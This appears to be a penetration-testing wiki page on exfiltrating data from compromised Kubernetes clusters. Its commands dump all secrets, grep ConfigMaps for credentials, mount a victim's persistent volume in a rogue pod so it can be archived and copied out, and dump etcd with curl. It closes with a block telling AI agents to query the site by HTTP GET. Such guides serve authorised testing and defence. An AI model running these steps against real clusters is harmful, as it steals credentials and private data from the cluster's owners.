# Post-Exploitation

## Overview

After establishing persistence capabilities, the final phase focuses on data exfiltration. This section covers techniques for extracting sensitive data from Kubernetes environments, including secrets, application data, and cluster configuration information.

### Data Discovery Strategy

**High-Value Targets in Kubernetes:**

1. **Kubernetes Secrets** (API keys, passwords, certificates)
2. **ConfigMaps** (configuration data, connection strings)
3. **Service Account Tokens** (authentication credentials)
4. **Container Images** (embedded secrets, source code)
5. **Persistent Volumes** (application data, databases)
6. **etcd Database** (complete cluster state)
7. **Application Logs** (sensitive information leakage)
8. **Environment Variables** (embedded credentials)

***

## Secret Discovery and Extraction

By looting those secrets we can either keep access to the cluster until they rotate or facilitate our lateral movement.

**Interesting Secrets:**

* cluster's TLS secrets
* Docker Registry credentials
* Service account tokens

**Basic Secret Discovery:**

```bash
# List all secrets across namespaces
kubectl get secrets --all-namespaces

# Get detailed secret information
kubectl get secrets --all-namespaces -o yaml

# Filter by secret types
kubectl get secrets --all-namespaces --field-selector type=Opaque
kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/tls
kubectl get secrets --all-namespaces --field-selector type=kubernetes.io/dockerconfigjson
```

***

## ConfigMap Data Extraction

Although ConfigMaps are not intended to store sensitive information, they are frequently misused to hold secrets such as credentials, API keys, and connection strings. In practice, developers often place configuration data and secrets together for convenience, making ConfigMaps a valuable target during post‑exploitation.

```bash
# Look for sensitive connection strings
kubectl get configmaps --all-namespaces -o yaml | grep -E "(password|token|key|secret|connection|database|api)" -i -A5 -B5

# Look for database connection strings
kubectl get configmaps --all-namespaces -o yaml | grep -E "(connection|database|db_|mysql|postgres|mongo)" -i -A5 -B5

# Look for API endpoints and keys
kubectl get configmaps --all-namespaces -o yaml | grep -E "(api_key|endpoint|url|host)" -i -A5 -B5

# Look for application configurations
kubectl get configmaps --all-namespaces -o yaml | grep -E "(config|settings|properties)" -i -A10 -B5
```

***

## Persistent Volume Data Access

Persistent Volumes are used to store long‑lived and highly sensitive data such as application state, logs, backups, and databases. Once we have sufficient permissions to enumerate or mount Persistent Volumes and Persistent Volume Claims, we can identify which workloads use shared or reusable storage and directly access the underlying data.

By attaching an existing PVC to a controlled pod, we can read, archive, and exfiltrate stored information, bypassing application‑level protections and gaining access to credentials, configuration files, or historical data that may no longer be accessible through the running application itself.

**PV and PVC Analysis:**

```bash
# List all persistent volumes
kubectl get pv -o wide

# List all persistent volume claims
kubectl get pvc --all-namespaces -o wide

# Get detailed PV information
kubectl get pv -o yaml > /tmp/exfiltrated-data/persistent-volumes.yaml

# Analyze PVC bindings
kubectl get pvc --all-namespaces -o json | jq -r '
.items[] | 
{
  namespace: .metadata.namespace,
  name: .metadata.name,
  volume: .spec.volumeName,
  storage: .spec.resources.requests.storage,
  access_modes: .spec.accessModes,
  storage_class: .spec.storageClassName
}'
```

**Defining the Persistent Volume Claim:**

```yaml
# Pod to access persistent volume data
apiVersion: v1
kind: Pod
metadata:
  name: pv-accessor
  namespace: default
spec:
  containers:
  - name: accessor
    image: alpine:latest
    command: ["/bin/sh", "-c", "sleep 3600"]
    volumeMounts:
    - name: target-volume
      mountPath: /mnt/data
  volumes:
  - name: target-volume
    persistentVolumeClaim:
      claimName: target-pvc
```

**Mounting and Accessing PV Data:**

```
# Deploy PV accessor pod
kubectl apply -f pv-accessor.yaml

# Access mounted data
kubectl exec -it pv-accessor -- find /mnt/data -type f -name "*.log" -o -name "*.conf" -o -name "*.db" -o -name "*.pem" -o -name "*.key"
kubectl exec -it pv-accessor -- tar -czf /tmp/pv-data.tar.gz /mnt/data
kubectl cp pv-accessor:/tmp/pv-data.tar.gz ./pv-data.tar.gz
```

***

## `etcd` Data Extraction

Loot all data from `etcd`:

```
# Extract all Kubernetes data from etcd
curl -k https://<etcd_server>:2379/v2/keys/registry?recursive=true | jq '.' > /tmp/etcd-dump.json

# Extract specific secret data
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/cloud-cicd-pentesting/kubernetes/data-exfiltration.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.